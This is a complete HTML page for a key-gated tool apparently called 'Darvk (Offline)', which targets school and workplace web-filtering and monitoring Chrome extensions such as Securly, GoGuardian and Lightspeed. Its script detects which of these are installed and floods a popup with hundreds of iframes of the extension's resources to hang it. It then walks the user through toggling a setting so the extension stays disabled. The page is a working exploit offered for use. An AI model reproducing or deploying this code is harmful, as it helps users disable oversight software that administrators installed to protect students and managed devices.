<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Darvk (Offline)</title>
    <link rel="shortcut icon" type="image/png" href="https://clipart-library.com/images/rTjrbKygc.png">
    <link rel="stylesheet" href="https://fonts.googleapis.com/css2?family=Varela+Round&display=swap">
    <style>
      body {
        font-family: "Varela Round", sans-serif;
        margin: 0;
        padding: 0;
        color: #ffffff;
        line-height: 1.6;
        position: relative;
        overflow: hidden;
        background: url("https://cdn.discordapp.com/attachments/829207593905160223/1250298053231906886/togif.gif?ex=675efc8d&is=675dab0d&hm=affb368fa6814b70397890fa3282826d387e344c4bc67bb6cb81cafcb2aa5622&") no-repeat center center fixed;
        background-size: cover;
        display: none;
        /* Hide body initially */
      }

      header {
        background-color: rgba(52, 58, 64, 0);
        color: #fff;
        padding: 10px 20px;
        text-align: center;
        display: flex;
        align-items: center;
        justify-content: center;
        position: relative;
        z-index: 10;
        /* Ensure header is above background */
      }

      .logo {
        width: 50px;
        height: 50px;
        margin-right: 10px;
      }

      .container {
        max-width: 800px;
        margin: 150px auto 0 auto;
        padding: 20px;
        text-align: center;
        background: rgba(255, 255, 255, 0);
        box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
        border-radius: 8px;
        position: relative;
        z-index: 10;
        /* Ensure container is above background */
      }

      select,
      button,
      input {
        font-family: 'Varela Round', sans-serif;
        margin-bottom: 10px;
        padding: 10px;
        font-size: 16px;
        border: 1px solid #ced4da;
        border-radius: 4px;
        width: 100%;
      }

      button {
        background-color: #007bff26;
        color: #fff;
        cursor: pointer;
        transition: background-color 0.3s ease;
      }

      button:hover {
        background-color: #0056b3;
      }

      .overlay {
        position: fixed;
        top: 0;
        left: 0;
        width: 100%;
        height: 100%;
        background-color: rgba(0, 0, 0, 0.7);
        display: none;
        justify-content: center;
        align-items: center;
        z-index: 9999;
        color: #fff;
        font-size: 24px;
        user-select: none;
        flex-direction: column;
      }

      .spinner {
        border: 6px solid rgba(255, 255, 255, 0.3);
        border-top: 6px solid #fff;
        border-radius: 50%;
        width: 40px;
        height: 40px;
        animation: spin 1s linear infinite;
        margin-bottom: 20px;
      }

      @keyframes spin {
        0% {
          transform: rotate(0deg);
        }

        100% {
          transform: rotate(360deg);
        }
      }

      #killExtensionText {
        display: none;
        margin-top: 20px;
        color: #333;
        font-size: 18px;
        text-align: center;
        background: #e9ecef00;
        padding: 20px;
        border-radius: 8px;
        box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
      }

      #killButton {
        display: none;
        background-color: #dc354600;
        color: #fff;
        cursor: pointer;
        transition: background-color 0.3s ease;
      }

      #killButton:hover {
        background-color: #9c1c2934;
      }

      footer {
        background-color: transparent;
        color: #ffffff36;
        text-align: center;
        padding: 10px;
        position: fixed;
        bottom: 0;
        width: 100%;
        z-index: 10;
        /* Ensure footer is above background */
      }

      footer a {
        color: #263240;
        text-decoration: none;
      }

      footer a:hover {
        text-decoration: underline;
      }

      /* Background styles */
      .background {
        position: fixed;
        top: 0;
        left: 0;
        width: 100%;
        height: 100%;
        z-index: 1;
        /* Ensure background is behind everything */
        overflow: hidden;
      }

      .background video {
        width: 100%;
        height: 100%;
        object-fit: cover;
      }

      .background img {
        width: 100%;
        height: 100%;
        object-fit: cover;
      }
    </style>
  </head>
  <body>
    <div class="background">
      <video autoplay muted loop>
        <source src="https://drive.google.com/file/d/1Gi_6cSHRS9LtdFnVa74Gvd3DiEGk8j8m/view?usp=sharing" type="video/mp4"> Your browser does not support the video tag.
      </video>
      <!-- Uncomment the line below to use an image instead -->
      <!-- <img src="your-image-url.jpg" alt="Background Image"> -->
    </div>
    <header>
      <img src="https://clipart-library.com/images/rTjrbKygc.png" alt="Logo" class="logo">
      <h1>Darvk</h1>
    </header>
    <div class="container" id="keyEntryContainer">
      <h2>Enter Key</h2>
      <input type="text" id="keyInput" placeholder="Enter your key here">
      <button onclick="checkKey()">Submit</button>
      <p id="keyError" style="color: red; display: none;">Incorrect key. Please try again.</p>
    </div>
    <div class="container" id="mainContent" style="display: none;">
      <p>Darvk offline is an external tool made by Anonymous, it works as of December 2024.</p>
      <label for="iframeSelect" id="labelForIframeSelect">Select extension:</label>
      <select id="iframeSelect"></select>
      <button onclick="warning();" id="hangButton">Freeze Extension!</button>
      <button id="killButton" onclick="openExtensionPopup();">Kill Extension!</button>
    </div>
    <div class="overlay" id="overlay">
      <div class="spinner"></div> Hanging... Please wait.
    </div>
    <div id="killExtensionText"></div>
    <footer>
      <p>Made by anonymous.</p>
    </footer>
    <script>
      const correctKey = "b29d34a0e6ff0ccdcc95e33c42e11c04"; // Set your key here
      // Check if the key is already stored in localStorage
      window.onload = function() {
        const storedKey = localStorage.getItem("userKey");
        document.body.style.display = "block"; // Show body after checking key
        if (storedKey) {
          document.getElementById("keyInput").value = storedKey;
          // Show the main content directly if the key is stored
          document.getElementById("keyEntryContainer").style.display = "none";
          document.getElementById("mainContent").style.display = "block";
          populateSelectOptions(); // Populate the select options after key is verified
        } else {
          // Show the key entry container if no key is stored
          document.getElementById("keyEntryContainer").style.display = "block";
          document.getElementById("mainContent").style.display = "none";
        }
      };

      function checkKey() {
        const inputKey = document.getElementById("keyInput").value;
        if (inputKey === correctKey) {
          localStorage.setItem("userKey", inputKey); // Save the key in localStorage
          document.getElementById("keyEntryContainer").style.display = "none";
          document.getElementById("mainContent").style.display = "block";
          populateSelectOptions(); // Populate the select options after key is verified
        } else {
          document.getElementById("keyError").style.display = "block";
        }
      }
      document.addEventListener("DOMContentLoaded", function() {
        const storedKey = localStorage.getItem("userKey");
        if (storedKey) {
          showMainContent();
        } else {
          showKeyEntry();
        }
      });
      async function checkExtensionURL(url) {
        try {
          const response = await fetch(url);
          return response.ok;
        } catch (error) {
          return false;
        }
      }
      async function populateSelectOptions() {
        const selectElement = document.getElementById("iframeSelect");
        const extensions = {
          Securly: "chrome-extension://joflmkccibkooplaeoinecjbmdebglab/fonts/Metropolis.css",
          "Securly (old)": "chrome-extension://iheobagjkfklnlikgihanlhcddjoihkg/fonts/Metropolis.css",
          GoGuardian: "chrome-extension://haldlgldplgnggkjaafhelgiaglafanh/youtube_injection.js",
          LANSchool: "chrome-extension://baleiojnjpgeojohhhfbichcodgljmnj/blocked.html",
          Linewize: "chrome-extension://ddfbkhpmcdbciejenfcolaaiebnjcbfc/background/assets/pages/default-blocked.html",
          Blocksi: "chrome-extension://ghlpmldmjjhmdgmneoaibbegkjjbonbk/pages/blockPage.html",
          FortiGuard: "chrome-extension://igbgpehnbmhgdgjbhkkpedommgmfbeao/youtube_injection.js",
          "Cisco Umbrella": "chrome-extension://jcdhmojfecjfmbdpchihbeilohgnbdci/blocked.html",
          ContentKeeper: "chrome-extension://jdogphakondfdmcanpapfahkdomaicfa/img/ckauth19x.png",
          "CK-Authenticator G3": "chrome-extension://odoanpnonilogofggaohhkdkdgbhdljp/img/ckauth19x.png",
          "Securly Classroom": "chrome-extension://jfbecfmiegcjddenjhlbhlikcbfmnafd/notfound.html",
          Hapara: "chrome-extension://kbohafcopfpigkjdimdcdgenlhkmhbnc/blocked.html",
          "Hapara (new ID)": "chrome-extension://aceopacgaepdcelohobicpffbbejnfac/blocked.html",
          iboss: "chrome-extension://kmffehbidlalibfeklaefnckpidbodff/restricted.html",
          "Lightspeed Filter Agent": "chrome-extension://adkcpkpghahmbopkjchobieckeoaoeem/icon-128.png",
          "Lightspeed Classroom": "chrome-extension://kkbmdgjggcdajckdlbngdjonpchpaiea/assets/icon-classroom-128.png",
          "InterCLASS Filtering Service": "chrome-extension://jbddgjglgkkneonnineaohdhabjbgopi/pages/message-page.html",
          "InterSafe GatewayConnection Agent": "chrome-extension://ecjoghccnjlodjlmkgmnbnkdcbnjgden/resources/options.js",
          "LoiLo Web Filters": "chrome-extension://pabjlbjcgldndnpjnokjakbdofjgnfia/image/allow_icon/shield_green_128x128.png",
          "Gopher Buddy": "chrome-extension://cgbbbjmgdpnifijconhamggjehlamcif/images/gopher-buddy_128x128_color.png",
          "LanSchool Web Helper": "chrome-extension://honjcnefekfnompampcpmcdadibmjhlk/blocked.html",
          IMTLazarus: "chrome-extension://cgigopjakkeclhggchgnhmpmhghcbnaf/models/model.json",
          "Impero Backdrop": "chrome-extension://jjpmjccpemllnmgiaojaocgnakpmfgjg/licenses.html",
          "Mobile Guardian": "chrome-extension://fgmafhdohjkdhfaacgbgclmfgkgokgmb/block.html",
        };
        let hasSupportedExtensions = false;
        for (const [name, url] of Object.entries(extensions)) {
          if (await checkExtensionURL(url)) {
            const option = document.createElement("option");
            option.value = url;
            option.textContent = name;
            selectElement.appendChild(option);
            hasSupportedExtensions = true;
          }
        }
        if (!hasSupportedExtensions) {
          const option = document.createElement("option");
          option.value = "";
          option.textContent = "No supported extensions installed";
          selectElement.appendChild(option);
          document.getElementById("hangButton").style.display = "none";
        }
      }

      function replaceIframes(container, iframeSrc) {
        for (var i = 0; i < 950; i++) {
          var iframe = document.createElement('iframe');
          iframe.src = iframeSrc;
          iframe.style.width = '50%';
          iframe.style.height = '50px';
          container.appendChild(iframe);
        }
        setTimeout(function() {
          while (container.firstChild) {
            container.removeChild(container.firstChild);
          }
          replaceIframes(container, iframeSrc);
        }, 1);
      }

      function warning() {
        var overlay = document.getElementById("overlay");
        overlay.style.display = "flex";
        var iframeSelect = document.getElementById("iframeSelect");
        var selectedOption = iframeSelect.options[iframeSelect.selectedIndex].text;
        var selectedSrc = iframeSelect.value;
        var popup = window.open("", "PopupWindow", "width=100,height=100");
        var popupDocument = popup.document;
        var popupBody = popupDocument.body;
        var iframeContainer = popupDocument.createElement('div');
        iframeContainer.id = 'iframeContainer';
        popupBody.appendChild(iframeContainer);
        replaceIframes(iframeContainer, selectedSrc);
        setTimeout(function() {
          popup.close();
          var extensionId = selectedSrc.substring(selectedSrc.indexOf("//") + 1, selectedSrc.indexOf("/", selectedSrc.indexOf("//") + 1));
          var extensionURL = "chrome-extension://" + extensionId;
          var killExtensionText = document.getElementById("killExtensionText");
          killExtensionText.innerHTML = "Now that the extension  < strong > " + selectedOption + " < /strong> has been hanged, press the button above.";
          setTimeout(function() {
            overlay.style.display = "none";
            killExtensionText.style.display = "block";
            document.getElementById("killButton").style.display = "inline-block";
            document.getElementById("hangButton").style.display = "none";
            document.getElementById("iframeSelect").style.display = "none";
            document.getElementById("labelForIframeSelect").style.display = "none";
            document.getElementById("killButton").setAttribute("data-url", selectedSrc);
          }, 5000);
        }, 3000);
      }

      function openExtensionPopup() {
        var selectedSrc = document.getElementById("killButton").getAttribute("data-url");
        var extensionId = selectedSrc.substring(selectedSrc.indexOf("//") + 1, selectedSrc.indexOf("/", selectedSrc.indexOf("//") + 1));
        var killExtensionText = document.getElementById("killExtensionText");
        document.getElementById("killButton").style.display = "none";
        killExtensionText.innerHTML = "Make sure to keep this tab open. Then in a new tab open  < strong > chrome: //extensions/?id=" + extensionId + "</strong> Flip the switch called allow access to file URLs twice. The extension was successfully killed! Now you can close that tab as well as this one. If you want to restore the extension, flip the allow access to file URLs switch again.";
          window.location.href = selectedSrc;
      }
    </script>
  </body>
</html>